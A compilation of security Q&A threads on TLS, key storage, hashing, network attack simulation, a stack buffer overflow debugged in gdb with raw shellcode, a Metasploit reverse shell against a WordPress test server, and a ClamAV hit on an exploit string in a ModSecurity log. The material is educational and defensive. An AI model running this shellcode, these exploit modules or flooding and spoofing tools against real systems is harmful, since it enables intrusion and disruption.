The tomcat server - gets the client's certificate - makes sure it is signed by the CA and then start communication without verifying that the sender of the certificate is really the owner of the private keys associated with it

So - is option 1 or 2 is true?

Thanks

As part of the handshake for mutual auth SSL, both the server and the client have to prove that they hold the private key corresponding to their cert. If that isn't the case, the SSL handshake will fail. I think that is option (1) of your question.


Metasploit multi handler reverse tcp connection Can we listen for 10 connections at once using any options present in Metasploit.

The concept you are looking for is "sessions". Metasploit supports multiple sessions by default.

Make sure you use set ExitOnSession false to ensure that the handler does not exit once it handles a session.

I cannot quickly find the maximum number of sessions Metasploit can handle by default, but I found one reference where a user was able to trigger 300 sessions. The suggestion is that the limit is an OS limit and not a limit imposed by Metasploit.


C# .Net most secure way to store RSA Key Pair in Windows At the moment I am looking into the most secure way to store a private RSA key on Windows.

Making it as much usable for the end user as possible, while keeping the security to its highest. As this is practically impossible I am not sure where to exactly go with a compromise. Maybe I am forgetting about another possibility and would like to ask for help from the information security board.

Scenario: A user generates an RSA key pair. This is frequently used to encrypt/decrypt AES keys to then access actual data. Lets say its a chat application, or an application like dropbox for files. The purpose doesn't really matter as the focus lies on the way the RSA private key is stored and can be accessed.

The workflow of the user: Login Windows -> Start App -> Login via API to webserver -> successful login -> access private key locally -> perform task x (chat, file, etc...)

The possibilities:

SQLite Database where the private key is unencrypted in PEM format. The DB is "encrypted" and the password is saved in the .net application as a string
Quick and dirty. I'd say bad practice. However, other applications cannot access the SQLite database as they do not know the key.
CryptoAPI .NET using the RSA User Key Container. While having DenyExport and other flags on, any app can access the key while the user is logged in. With mimikatz and similar software it's quite easy to export the private key even though it is not exportable.
.NET DAPI is not really for protecting RSA Keypair and more interesting for sensitive information in memory. No point at all
Simply export the PEM key as password protected key. Usability goes down as the user would need a 2nd password to access the key.
Isolated Data .NET - out of question.

Is there another way to store a private key in a secure but practical manner on a windows system ?

The most secure way to store a private key is to generate it on a smart card or in an HSM. Is that an option?

The smart card or HSM can still be used to encrypt and decrypt by whoever has access, but it won't give up the key.

You can put the public key wherever you want.


Is it reasonable to consider logs as a "technical control"? I'm studying for the CCSP exam and one of the examples of technical controls (referenced in the course training material) confuse me:

  Technical controls, also referred to as logical controls, are those
  controls that enhance some facets of the CIA triad, usually operating
  within a system, often in electronic fashion.  Possible technical
  controls include encryption mechanisms, access control lists to limit
  user permissions, and audit trails and logs of system activity.

Can someone please explain why logs, in and of themselves, can be considered a technical control?  To me, it seems like logs would be something that's not a control by itself, but a resource that aides other technical controls (like  an alert monitor that reviews log material and warns administrators, etc).

Logs are a detective control - they allow you to detect activities that you would like to control.  Obviously, they do it in an electronic fashion, making them a technical control by the definition you've provided (as opposed to procedural controls, for example).

You seem to be thinking more of preventive controls, which block activity you would like to control before it happens.  Technical controls are often preventive, by their nature, but they don't need to be.

Distinctions like technical and procedural indicate how a control works.  Distinctions like preventive and detective indicate when a control works.


Why is weakness of SHA-1 considered a threat to TLS security If I understand correctly the role that a hashing algorithm  (e.g. SHA-1) plays in TLS certificates is as follows:

The hashing function is applied to a subject's public key.
The CA then uses their private key to encrypt the hash output.
The output of that encryption along with some other information becomes the certificate.

So, say someone is determined to impersonate a site that has an SHA-1 certificate and attacks the SHA-1 digest, by trying to produce a hash collision.

If they find a different value that produces the same SHA-1 digest as the website's actual public key, what have they gained?

They could now forge a certificate that appears to be signed by the CA but instead of the actual public key contains X, but wouldn't this be useless to them without a matching private key for X?

They would still have to crack RSA. And wouldn't finding a private key that matches X be as infeasible as directly attacking the subject's public key?

In other words, what if any security does the hashing add? There must be some otherwise the depreciation of SHA-1 wouldn't be such a big deal.
I thought hashes are used in digital signatures mainly for performance reasons, due to the fact that public key cryptography like RSA is slow for large inputs.

If they find a different value that produces the same SHA-1 digest as the website's actual public key, what have they gained?

Let's assume that we are dealing with MD5. SHA-1 attacks are still a work in progress and I expect they follow about the same lines as the attacks that are possible on MD5.

With MD5 it is possible to create two different values that produce a hash collision (within certain boundaries). That however doesn't mean that it is possible to create a hash collision given just any input data and the hash value over that data.

In your example that means that you cannot just get an MD5 or SHA1 signed certificate and then create a fake. So internal CA certificates created within a CA aren't much at risk. It is however possible to send a specially formatted certificate to a CA and then change the signed data in such a way that the signature still verifies.

So the same organization that requests the certificate is the one doing the attacking. This means they already got the private key. So replacing the public key could be possible, but would not make too much sense.

So what can they do. Well, it's about the "some other information" within the certificate. That can be changed by the organization requesting the information. Basically they can put in whatever they want in there. This means that a certificate for a certain domain may become a certificate for another domain. The certificate could become a certificate that can be used to create other certificates (although path length constraints may alleviate that issue).

In other words, the certificate authority signs a hash, which may be valid for other data. The certificate authority doesn't know what certificate it is signing anymore! You, as user, may get a certificate for mail.google.com with a valid signature that was created for happy.attacker.com, with the attacker holding the private key. In other words, you may not be communicating with Google at all!

Misconceptions:

  The hashing function is applied to a subject's public key.

No, it's applied to the certificate's attributes that require explicit trust (so also the domain name in the example); not just the public key.

  The CA then uses their private key to encrypt the hash output.

No, signature generation is not encryption. For RSA it also uses modular exponentiation, but that doesn't equate encryption. Even the RSA specifications - PKCS#1 - differentiate between signature generation and encryption.

  The output of that encryption along with some other information becomes the certificate.

That some information is quite important, and a lot of it is signed along with the public key. Validity period, issuer, public key, signature, subject, key usage, path length constraints, revocation related information are all pretty important.

  So, say someone is determined to impersonate a site that has an SHA-1 certificate and attacks the SHA-1 digest, by trying to produce a hash collision.

This would still take about 2^159 operations. So no, that's not likely to ever be attempted by a serious researcher.

  They could now forge a certificate that appears to be signed by the CA but instead of the actual public key contains X, but wouldn't this be useless to them without a matching private key for X?

Well, yes. And actually, a public key doesn't consist of a single value X, it consists of a modulus and exponent, which are ASN.1/DER encoded within X5.09 certificates. So X would have to have a pretty specific structure. If you try to break the certificate this way (which - as already established above - is unfeasible). So it would only be useful to replace the key with a specific X.

The encoding of the key and certificate that is signed may however contain additional information. This can be abused by an attacker, and it is actually required to perform the actual MD5 attack.

  I thought hashes are used in digital signatures mainly for performance reasons, due to the fact that public key cryptography like RSA is slow for large inputs.

No, not just performance reasons. RSA requires padding, which leaves about 11 bytes less than the key (modulus) size for the message - in case the older PKCS#1 v1.5 padding is used anyway. The signed attributes in general would be larger than that. In that case you need to compress the data using a hash method. ECDSA, another public key algorithm, can actually not encrypt any data.

In general it is better to think of the hash method as a configuration option for the signing algorithm. In other words, it is an integral part of the signature algorithm. This is also how it is specified in the various standards.


Can I render public-key cryptography quantum resistant if I treat even the public keys as secret? Here is the situation - RSA/ECC is not quantum resistant, because a quantum computer feasibly calculate the private key based on the knowledge of the public key (because the quantum computers tackle much easier the hardness of prime factorization, I read).

Now, my hypothetical scenario: What if Alice creates her private key and hands over her public key to Bob in person. At the same time, Bob creates his private key and hands over his public key to Alice in person. Any future data exchange (or key agreement) will then happen always without sharing the public keys. Will this arrangement defy the the quantum computers?

What you are asking about is typically called pre-shared key (PSK) scheme, where a previously shared secret between the parties is used to secure communication. Conceptually, it is secure from quantum attacks. However, PSK is typically implemented with symmetric keys, where you skip key exchange and shared key derivation and go directly from handshake to encrypted channel. This is done with symmetric keys because such algorithms are more computationally efficient. There is no technical reason why PSK could not operate with asymmetric keys, but there is also no reason to use asymmetric keys when you already established a shared secret. In addition, this is not how any of the existing protocols utilize public keys - where public key is transmitted in the clear. For example, as part of TLS protocol server will transmit its certificate that contains public key in the clear during handshake. At that point, public key can be trivially extracted by a passive eavesdropper.

Symmetric cryptography is resistant to quantum computing while asymmetric cryptography is not. The part of asymmetric cryptography that fails to quantum is key derivation, specifically establishing shared secret - it is theoretically possible for an attacker to derive symmetric keys based on information exchanged during handshake and negotiation. All quantum attacks on asymmetric schemes assume knowledge of public key. Assuming custom protocol that never transmits public keys in the clear is used, you would be safe from quantum attacks. Unfortunately, such protocol would not be at all useful in any way.

For now, the best you could do to improve your resistance to quantum is to utilize very, very long public keys. This is based on the assumption that quantum computer with larger number of quantum gates is harder to construct and operate.


How to simulate network attacks and use wireshark to detect them? I am working on a project which involves me to simulate a network attack and to use wireshark to detect the attack. DOS/MIM etc. I have found the following links that provided help but there are still some ambiguities in attack generation. Can anyone provide a simple method to do so?

http://www.lidi.info.unlp.edu.ar/WorldComp2011-Mirror/SAM4991.pdf
https://www.academia.edu/6009916/DETECTION_AND_ANALYSIS_OF_SYN_FLOOD_DDOS_ATTACK_USING_WIRESHARK

@pss Thanks a lot, i have achieved my task using KALI SOFTWARE and deploying a virtual machine. For anyone interested, please know that wireshark can't detect packets that have the same source and destination address. You need a virtual machine on your system that will be assigned a separate ip address by the router.

First of all I would recommend you to create a test network and isolate it from the production network.

Creating a test network: It depends upon your budget. If you have a big budget then buy couple of systems running Windows and linux, buy some switches and connect them with network cables.

If the budget is not that big then try using virtualization tools like VMware workstation or VirtualBox etc. Here is a nice paper about making a test lab.

In order to simulate attacks it is good to know about how these attacks works and how to detect them. (I assume you know this.) Also most of these attacks are not very common these days but for simulation and playing around it will be fun.

For DOS simulation:

DOS attacks usually send a lot of traffic to the victim machine to consume its resources so that the legit users are not able to access the services. A very common traditional example is Ping flood as DOS attack.

Ping flood: Send a huge amount of Ping packets with packet size as big as possible. In windows you can specify the data/buffer size too. The command is ping -l. The attacker will use the maximum value.

Detection:  The normal ping packet has default packet size of 32 bytes in case of Windows. So if you see a lot of Ping packets with unusual size of buffer for eg: like 4000 then you could say it could be a Ping flood.
You can use PING command to simulate this attack. In wireshark create a filter for ICMP Echo packets and check the buffer size.

MAC flooding:  In this attack the attacker will transmit a lot of ARP packets to fill up the switch's CAM table. This causes the switch to operate in fail open mode, which means that the switch will broadcast the incoming packet to all the ports.

Detection: If you see a lot of ARP requests coming from random source MAC addresses, then you can assume it is ARP flooding. This is not an ideal detection method. But still if you have only 3-4 devices in your network and on contrast you are seeing many ARP requests with different source addresses then it could be an ARP flooding because 3-4 devices are not going to make a huge ARP requests with different source MAC addresses. You can use some ARP flooding tool for simulation. In wireshark create a filter for ARP request to see the ARP request frames.

ARP spoofing: In this case you shall associate your MAC address to victim's IP address by sending a specially crafted ARP frame! If the attack is successful then all traffic that was destined to Victim's IP will be now redirected to you. Currently I have no idea how you can detect this attack with just a wireshark. What you could try is that you can make a filter for all the ARP probes/requests and then check for which source MAC address the source IP address has been changed in the ARP probes.

Detection:  This is not an ideal detection method because this could make a false positive if some one has merely replaced a machine in the network. But if you assume that no machine is replaced in the network then this method could help to detect the attack.

Tools for simulating the attacks: I would recommend using Kali linux it contains a lot of tools.
There are some tools that can help you:

Ping flooding tool: Nping

MAC flooding tool: Macof

ARP spoofing tool: dSniff

Also here is a good article regarding tools!.

I hope it helps.


What's the difference between privacy and anonymity? In the previous topic I was talking about VPN and TOR browser, and someone mentioned privacy VS anonymity. What's the actual difference between them?

Say you use a proxy to visit a site.

Privacy: security of content

With the proxy, you will be anonymous to the site you're visiting.
That is, it will look like the proxy is requesting the page, not you.
The site will still know your content, just not who it's delivered to.

Anonimity: security of identity

Assume you use HTTPS and the proxy or ISP is not maliciously stripping encryption.
Then the content of you connection will be private. But the proxy or ISP knows your IP address and that of the site you're visiting.
To the proxy or ISP, your connection is private but not anonymous.

For TOR and VPN, the ISP can still match the time and size of packets to make good guesses about the site you're visiting.

So about the technologies you mention;

Proxy:

private to proxy  (if trusted and site uses HTTPS)
website cant see you (if not sending identifiable info)
ISP monitors you

VPN:

same as proxy but more private (HTTPS built in)
website cant see you (if not sending identifiable info)
ISP cant see your browsing/data (just knows that you use VPN)

Tor:

same as VPN, semi-anonymous to everyone except the entry node.
private to everyone except you and the site
assuming your PC is not leaking info (it probably is)
ISP cant see your browsing/data (just knows that you use TOR)


How do I bypass a return address overwrite not doing anything? This is main:

(gdb) disass main

Dump of assembler code for function main:
   0x000000000040057c <+0>: push   rbp
   0x000000000040057d <+1>: mov    rbp,rsp
   0x0000000000400580 <+4>: sub    rsp,0x40
   0x0000000000400584 <+8>: mov    DWORD PTR [rbp-0x34],edi
   0x0000000000400587 <+11>:    mov    QWORD PTR [rbp-0x40],rsi
   0x000000000040058b <+15>:    mov    rax,QWORD PTR [rbp-0x40]
   0x000000000040058f <+19>:    add    rax,0x8
   0x0000000000400593 <+23>:    mov    rdx,QWORD PTR [rax]
   0x0000000000400596 <+26>:    lea    rax,[rbp-0x30]
   0x000000000040059a <+30>:    mov    rsi,rdx
   0x000000000040059d <+33>:    mov    rdi,rax
   0x00000000004005a0 <+36>:    call   0x400430 <strcpy@plt>
   0x00000000004005a5 <+41>:    mov    eax,0x0
   0x00000000004005aa <+46>:    call   0x400566 <function>
   0x00000000004005af <+51>:    mov    eax,0x0
   0x00000000004005b4 <+56>:    leave
   0x00000000004005b5 <+57>:    ret
End of assembler dump.

(gdb) list

#include <stdio.h>
#include <string.h>
void function(){
printf("test");
}
int main(int argc, char* argv[]) {
char a[34];
strcpy(a , argv[1]);
function();
return 0;
}

It was compiled using the following:

 gcc -g -o exploitable0 vulnerable_program0.c -fno-stack-protector -z execstack

The attacker is obviously tempted to overrun the buffer specified by the array 'a'.

Let's examine more in depth what the stack looks like when I run the exploit

(gdb) run $(perl -e 'print "\xeb\x15\x59\x31\xc0\xb0\x04\x31\xdb\xff\xc3\x31\xd2\xb2\x0f\xcd\x80\xb0\x01\xff\xcb\xcd\x80\xe8\xe6\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x1f\x77\x6f\x72\x6c\x64\x21\x21\x21\x21\x21\x21\x21\x21\x66\x05\x40\x00\x00\x00\x00\x00"')
Starting program: /home/twister17/Documents/hacking/exploitable0 $(perl -e 'print "\xeb\x15\x59\x31\xc0\xb0\x04\x31\xdb\xff\xc3\x31\xd2\xb2\x0f\xcd\x80\xb0\x01\xff\xcb\xcd\x80\xe8\xe6\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x1f\x77\x6f\x72\x6c\x64\x21\x21\x21\x21\x21\x21\x21\x21\x66\x05\x40\x00\x00\x00\x00\x00"')

Breakpoint 1, main (argc=2, argv=0x7fffffffdcf8) at vulnerable_program0.c:9
9   function();
(gdb) i r rbp
rbp            0x7fffffffdc10   0x7fffffffdc10
(gdb) i r rsp
rsp            0x7fffffffdbd0   0x7fffffffdbd0
(gdb) x/18xw $rsp
0x7fffffffdbd0: 0xffffdcf8  0x00007fff  0x0040060d  0x00000002
0x7fffffffdbe0: 0x315915eb  0x3104b0c0  0x31c3ffdb  0xcd0fb2d2
0x7fffffffdbf0: 0xff01b080  0xe880cdcb  0xffffffe6  0x6c6c6548
0x7fffffffdc00: 0x771f2c6f  0x646c726f  0x21212121  0x21212121
0x7fffffffdc10: 0x00400566  0x00000000
(gdb)

the affected buffer starts at 0x7fffffffdbe0 and ends at 0x7fffffffdc10.

The shellcode injects smoothly, to make things simpler I overwrite the return address with that of the function.
That is, I actually used 0x400566 as the return address, so if everything runs smoothly it would just call the function and print "test". You can clearly see from the assembly dump that is the address of the function "function".

expected output: "testtest".

actual output: test ( the program calls the function already).

I'm pretty confident your OS doesn't stop the overflow.

Seeing as you're just testing how overflow works I would highly recommend reading this Buffer Exploit Blog. This blog also describes how to bypass it.

I haven't personally tested your code, however, I am confident if you run a simple online tutorial or modify your code a little, that would be better.

TIP: Use Objdump if you haven't started it. Start by trying these Examples


Proper Format for Long-Term Storage on M-Discs The conventional wisdom is that when you store data for long-term storage, you convert the data into a format that will last for decades.  It should be in NTFS or FAT and the file format should be one in which will be around for decades.
For example, they do not recommend that files should be left in docx (Word format) because you don't now if Microsoft will be around 10 years from now.  They suggest that formats such as txt.
HOWEVER, I have most of my documents in Microsoft Word and Excel.  And, the formatting of the document is extremely important to me.  It allows readability of the document.  It's critical.  If it's all in the same regular text, it makes it impossible to read.
What do you people suggest that I should do?  I want to burn my long-term files but what format do you recommend that I should save it in on my blu-ray M-discs?

The first hit for me when searching for long term document storage format is Recommended Preservation Formats for Electronic Records from Smithsonian Institution Archives. There is a table with recommended formats which clearly shows PDF/A and PDF as the preferred format for Text/word processing applications.
Similar recommendations can be found on the later search results from other archives and libraries, and these likely know best.
It is actually no surprise that PDF/A is chosen - because it was actually designed for this purpose. The "/A" in PDF/A stands for Archiving, i.e. this is a version of PDF specifically designed for long-term archiving while still preserving the original formatting.


Given Hash digest, calculating any random input I understand that for a hash function there are an infinite amount of possible inputs that could produce a specific output. So if you're trying to find a specific input that created an output that would be unfeasible.

However take SHA256, if you are given an output (digest), is it quite easy to calculate any one of the possible inputs if you don't mind which one?

No. Given some output x, any input m such that h(m) = x is called a preimage. Though there are a lot of possible preimage, finding any of them is unfeasible -- that is, if the hash function is indeed cryptographically strong.

The three classical properties of cryptographic hash functions are:

Resistance to preimages: given x, it is not feasible to find any value m such that h(m) = x.
Resistance to second preimages: given m, it is not feasible to find any value m' such that m ≠ m' and h(m') = h(m).
Resistance to collisions: it is not feasible to find m and m' such that m ≠ m' and h(m') = h(m).

In other words:

If I give you a hash output, you cannot find a matching input -- not only the one I used in the first place, but you cannot find any other as well.
If I give you a hash output and a matching input, you cannot find another, distinct input that yields the same output.
Even if I let you choose messages as you wish, without any constraint, you cannot find two distinct inputs that yield the same output.

Of course all these resistances are up to some (very high) computational effort. For instance, finding a preimage can be done with a method called "luck", i.e. trying random inputs until a match is found. If the hash function offers a 256-bit output, then luck will find a matching input in an average of 2256 tries, which is totally out of reach of existing and future technology (by a very very long margin). A function is said to be "cryptographically strong" if the hash function output size is such that luck is nowhere near practical, and there is no known better method.


Motion sensor door locks I have seen several offices with electric locks for entry that have a sensor for exit. I assume it's some kind of motion or object detection sensor.

This is odd because in many cases, there's a seam between the door it is monitoring and the other door or wall. What does that sensor actually do, and how does it prevent someone from pushing a small thing in the crack and changing it to (try to) trick the sensor?

I once tried poking a piece of cardboard on a stick through the seam, turning it sideways, and waving it around. That didn't work, which is a good sign, but maybe my stick just wasn't long enough. I'm still concerned about the security of these systems.

What does that sensor actually do, and how does it prevent someone from pushing a small thing in the crack and changing it to (try to) trick the sensor?

This sensor is called a REX or Request to Exit. The sensor is meant to allow people to leave an area without having to badge or authenticate leaving the area. Your question is good because the idea of pushing something through and attempting to trigger the REX is something that has been accounted for. The devices can be configured to only test a certain range, such as 4 feet from the top of the door.

The best practice is to have the REX aimed at the door handle so that it triggers when someone is actually trying to leave the area, but having the range configured so it should not trigger if someone is trying to stuff something under the door. Newer sensors often utilize IR to ensure that it is not an inanimate object, but a person trying to leave the area.

The combination of having a properly configured REX as well as IR sensors in the REX reduces the likelihood of a vulnerability and increases the odds that the door can only be opened when someone is on the inside attempting to leave.


What is the point of blocking a potentially malicious domain by binding it in the hosts file to 0.0.0.0 rather than 127.0.0.1? tl;dr: In order to prevent a potential use of our computers to mine crytpocurrencies, I and a few other people were advised to append this: https://github.com/hoshsadiq/adblock-nocoin-list/blob/master/hosts.txt to our hosts file. I notice that this list blocks cryptocurrency domains by binding them to 0.0.0.0, while the standard practice, as I remember it, was to block undesireable domains by binding them to 127.0.0.1. Is there any reason to do this that way and what is the result of sending a packet to 0.0.0.0? Is it safe to amend the hosts file in this way at all?

Whole story: Me and a few other people reported on Wikipedia that editing long articles with Firefox is insufferably slow and results in FIrefox using up unreasonably high percentages of CPU. In response, a volunteer said that our browsers are likely to be the problem and that someone may be using our computers to dig cryptocurrencies. I find this not very probable since (1) The problem happens when we edit long articles and not when we browse other websites, it doesn't seem likely that a cryptocurrency digging malware would fire up whenever it detects a Wikipedia article is being edited and (2) Our CPU is being used and not GPU, and I reason that if our browsers were infected they would likely use GPU to dig cryptocurrencies, but... Since I was told to "modify hosts and report back if the problem persists", I reckon I have no more arguments in this discussion until I modify hosts and see if the problem persists... But before I put anything to hosts I want to be certain what am I doing and if this is safe.

Note: Not sure if I should ask this here or on superuser. I choose this site since the list in question attempts to block a specific malicious activity, however, if I was wrong, please move my question to a more appropriate site.

0.0.0.0 can be equally dangerous, as it acts like 127.0.0.1 on some operating system such as Linux.

In order to block domain names, you'd better use a DNS proxy such as dnscrypt-proxy. In addition to being way faster than hosts files with large datasets, DNS proxies can block suffixes, prefixes and regular expressions.

Instead of returning an actual IP address, these proxies return responses with the REFUSED error code, which is the standard way in the DNS protocol to refuse queries.


intrusion detection on own hotspot? Is it possible to detect failed logins on the hotspots you create with your windows/linux laptops? So you can detect some dumb brute force/guessing attempts?
For example, a log like this:

TIME DATA - WIFI HOTSPOT LOGIN FAILED - MAC ADDRESS INTRUDER - PASSWORD THAT WAS TRIED

As for the password part, lets take wep for example:

The client sends an authentication request to the Access Point.
The Access Point replies with a clear-text challenge.
The client encrypts the challenge-text using the configured WEP key, and sends it back in another authentication request.
The Access Point decrypts the response. If this matches the challenge-text the Access Point sends back a positive reply.

Since you send the challenge yourself, in theory, you will be able to retrieve the plaintext challenge. It should be also be possible to get this response, when your own laptop is the access point, right? But than comes the questuion: what is the decryption algorithm?

I don't see how this is helpful for home use.   The error "MAC ADDRESS INTRUDER",  is even less useful because that is not a real security measure,  its trivial to spoof your mac address.   WEP cracking is greatly sped up by packet injection which can be detected,  but that isn't as helpful as just using WPA.  The attack against WPA is offline,  so an IDS isn't really going to help.  In these these cases,  the problem is relying upon a broken security system and logging this isn't very helpful.

You could install Linux on an old Desktop and use snort.  Snort can detect some wireless attacks. But more importantly,  snort has general purpose IDS rulesets.


What's to stop someone from just MITMing a checksum? A lot of sites offer MD5 or SHA sums to verify the validity of your download, but why do some things rely almost entirely on this?

Is there anything in place to prevent people from just replacing the checksum with the malicious binary's checksum?

Your problem is a common problem in security know as authentication.

Checksum solves the problem of integrity, you know that what you just downloaded is correct, but you do not know from who it comes.

If someone is operating a MitM attack, they obviously will try to replace the checksum of whatever download you required with the checksum of the binary they want you to have instead.

If you want to assess the authenticity (prove that the binary has been issue by someone you trust), then you need to use authentication method like digital signature.

The typical process goes this way:

original owner issue a public key he will share for the authentication purpose (see asymmetric cryptosystems)
original owner computes the hash of the document he wants to sign
owner signs the hash with its private key, so that anyone can verify it
client gets the document
client gets the public key of the original owner and validates it through chain of trust protocols (see ad-hoc documentation)
client verifies that the signature of the hash is correct
client verifies that the checksum of the program is the same

If you follow such a process, you cannot be subject to MitM attack. The key point of the protocol here is obviously the verification of the public key. If you fail to assess that the public key belongs to the owner, you can be deceived.


Storing of customer creds from third party server with reading access to it Our service will provide some automation over another service. Customers share the password with us, and our staff make the customer's work. Another work will going on our working agents(remote server).

So, we need access to passwords in two places: many(10-15) remote pc, what connected to the working pool by jenkins, and staff website.

For work agent we can use public key cryptography. Encrypt data on frontend, decrypt on a time of script work only. It will works great.

But how provide staff person access to data? Sharing private key is bad idea.

Creating another server, that have decrypt api is better, but bad too.

Here is limits:

Staff person have a limit of decryption per day(about 20). He can't do more work.
We want to switch private key very fast, if staff user fired
Better to encrypt data on a fronted.

You're trying to figure out how to securely store secret values, yet use them in your application, and the answer, generally, is to use some sort of secrets management system.

I really like Turtles All The Way Down because it does a good job of explaining the core problem with secrets management (you have to authenticate to the system, and where do you store that password?), as well as giving an overview of the most prominent current software solutions. It's a bit of a long talk, but it's worth watching.

Personally, I like Vault a lot to handle these sorts of situations. In a nutshell, the users' passwords get stored in an encrypted datastore; your sysadmins and application can access those passwords by making an API call to Vault. These API calls are logged for later audit purposes, and are authenticated through a session-like system, where you provide a password (for example; there are a number of auth options) and get back a token that gets stored for normal use, but which will periodically expire and can be explicitly revoked. This prevents an attacker who gains access to the token from gaining permanent access, and does the same for employees when they leave the company. This is roughly how other network-based vault systems, like Keywhiz, work as well.

There's a really important caveat to the last part of the previous paragraph: an attacker can use the token to access all users' stored passwords, and then continue to use those whether or not the stolen token expires. This attack comes about because you're storing static credentials (passwords). If instead you had to request temporary credentials from the third-party sites, then you could return those instead to your internal users, which keeps them from gaining permanent access without permanent access to Vault. Vault has support for a number of systems for doing this, but you're limited here to what the other sites support.


SIP DoS classifications I would like to understand below SIP DoS attacks

Message Payload Tampering [implementation errors, SIP bugs]
Flow Tampering [CPU, Bandwidth, Memory]
Message Flooding [lack of authentication or encryption implementation / errors]

On the other hand, I came across with five different attacks on Register, Invite, Update, Cancel, and Bye. My question is on those five attacks: which of the above three DoS attacks can they be classified as?

Read this article and get all of the answers thoroughly.

Survey of network security systems to counter SIP-based denial-of-service attacks

As described in the above paper:

SIP message payload tampering:
The ﬁrst class of attacks is based on tampering with the actual
SIP message or more speciﬁcally, the SIP payload. SIP is a text-
based protocol and messages are transported usually in clear
text. Attackers can try to inject harmful content into
a message, e.g. by entering meaningless or wrong information
with the goal of exploiting a buffer overﬂow at the target. Also,
such messages can be used to probe for vulnerabilities in the
target. Harmful code that will be executed in an unforeseen
context can be introduced into the payload. An example is SQL
code injection, which allows the attacker to execute SQL code
within a database.

SIP message ﬂow tampering:
A special case of DoS attacks in real time communication
networks are attacks that disturb the ongoing communication
between users. Common internet services like web browsing
or email communication have an asynchronous time model
i.e. a requested web page is directly delivered to a user. The
user will read it without further communication to the web
server. The same applies to email – a user downloads the
email and studies it independently of a server connection. In
contrast, in SIP real time communication networks two
communicating users establish a constant connection with
each other whereby content is transmitted continuously
between both parties.
An attacker can now target this connection by introducing
fake signalling messages into the communication channel.
Several different SIP signalling messages can be misused for
this task. A BYE message with the right credentials can
prematurely terminate a session.

SIP message ﬂooding:
When talking about a DoS attack, one generally means
ﬂooding attacks that overwhelm a victim’s resources. There
are three main resources that can be targeted in a SIP ﬂooding
attack: bandwidth, CPU, or memory.

Source: Ehlert, Sven, Dimitris Geneiatakis, and Thomas Magedanz. "Survey of network security systems to counter SIP-based denial-of-service attacks." Computers & Security 29.2 (2010): 225-243.


How to deal with tunnel applications such as TeamViewer on the corporate network Our IT department uses TeamViewer to provide support to users at remote locations.  More recently we've noticed that users are using TeamViewer to get support for their lab equipment from vendors.

Though I support the idea, it does bug me a little bit that someone could either accidentally or maliciously leave a session open, even though they're no local administrator, and thus create a hole in the firewall.  In other words, this seems like a mayor security issue to me.

So my question is how do other organizations handle these type of tunneling applications (e.g. TeamViewer, WebEx, GoToMeeting, and TOR)? And has anyone suggestions as how one can regulate/govern these applications and still continue to use it for proper scenario's?

The most common solution I see is to have the firewalls at each location set up to only allow the tunnel to connect to specified endpoints. This means it can still be used for the purposes intended, but can't be used to access other locations.

A pre-requisite is that you maintain centralised control over firewalls and endpoints, so there is no way to avoid access control.


Can an employer see what I'm doing on my iPhone whilst logged onto wifi I log on to my works wifi throughout the the day whilst at work, I use apps like WhatsApp and iMessages to communicate when I need to, can my employer see the content of those messages (actually read what I'm sending and receiving) or can they just see that I have been logged into WhatsApp and iMessages over the wifi signal?

According to Whatsapp, all message traffic between the server and your phone are encrypted. The same applies for iMessage. The initial contact for iMessage is initiated via normal SMS, and does not travel through the wifi network.

Therefore, it will not be possible (barring homebrew crypto security flaws) for your employer to read messages that pass through its wifi network, he will only be able to see that you are using those applications.


UFW does not block meterpreter I am doing some pen testing on my wordpress server. I wanted to see what would happen if the attacker were to get a hold of my username and password for wordpress.
So I used the standard exploit in msfconsole wp_admin_shell_upload and set password and username.
What I do not understand is why my UFW does not block the established connection. ( My rules are set to block everything apart from port: 21,80 & 22)
But I can see a connection established on port 48846. Why is this not blocked and why am I able to send commands to remote machine via meterpreter and receive data?
Screenshots below:
Client:

Attacker:

The connection of the reverse shell originates at the attacked system, i.e. it is an outgoing connection. You ufw rules only restrict incoming connections but allow arbitrary outgoing connections - and thus allow the reverse shell.


ClamAV detects virus in Modsec Audit logs I have a Xen VM running Debian Stretch with Apache2 to play around with. I have installed ClamAV and Modsecurity (not doing anything just logging at the moment). I keep getting emails from ClamAV stating that it detects a virus Win.Exploit.Unicode_Mixed-1 in the Modsec log files.

luke@lamp:~$ sudo clamscan -i /var/log/apache2/
/var/log/apache2/modsec_audit.log.7.gz: Win.Exploit.Unicode_Mixed-1 FOUND

----------- SCAN SUMMARY -----------
Known viruses: 6107846
Engine version: 0.100.3
Scanned directories: 1
Scanned files: 60
Infected files: 1
Data scanned: 111.06 MB
Data read: 23.27 MB (ratio 4.77:1)
Time: 42.726 sec (0 m 42 s)
luke@lamp:~$

I have submitted the file to VirusTotal.com. ClamAV is the only one to detect on the logfile. This has been going on for months now. Freshclam is keeping ClamAV updated as well.

Is there a way an actual log file can be infected? Is there a way to whitelist the rotating logfiles without whitelisting the signature?

But what i really want to know is this; is there a way to find out what is in the log that is triggering the detection?

EDIT: i managed to locate the string in the logfile. it is;

jXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JB

Now that I found the string causing the detection, how can I find out what it is supposed to do? It is in the "If" line of the log excerpt below.

--0a71b754-A--
[09/Apr/2019:16:10:10 +0800] XKxTYn8AAQEAAGyvyjUAAAAI 202.28.64.1 18716 <local IP of server> 80
--0a71b754-B--
PROPFIND / HTTP/1.1
Host: localhost
Connection: Close
Content-Length: 0
If: <http://localhost/aaaaaaa潨硣睡焳椶䝲稹䭷佰畓穏䡨噣浔桅㥓偬啧杣㍤䘰硅楒吱䱘橑牁䈱瀵塐㙤汇$

Thanks,

Luke

How does ClamAV work?

ClamAV works based on signatures. Many people often falsely believe that anti-virus software is based on hashes, but this is false. This answer by a guy working for an anti-virus vendor explains this more in detail.

The way signatures work is similar to how regular expressions work. It takes a pattern and tries to apply it to a file (or parts of a file) being scanned. If the pattern fits, then ClamAV will return a positive result.

If the file is actually malicious, then we call this a true positive. If it's not malicious, but was detected as being malicious, then it's called a false positive.

Why does ClamAV detect this file?

I decoded the signature for Win.Exploit.Unicode_Mixed-1 and it's as follows:

VIRUS NAME: Win.Exploit.Unicode_Mixed-1
TARGET TYPE: ANY FILE
OFFSET: *
DECODED SIGNATURE: jXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JB

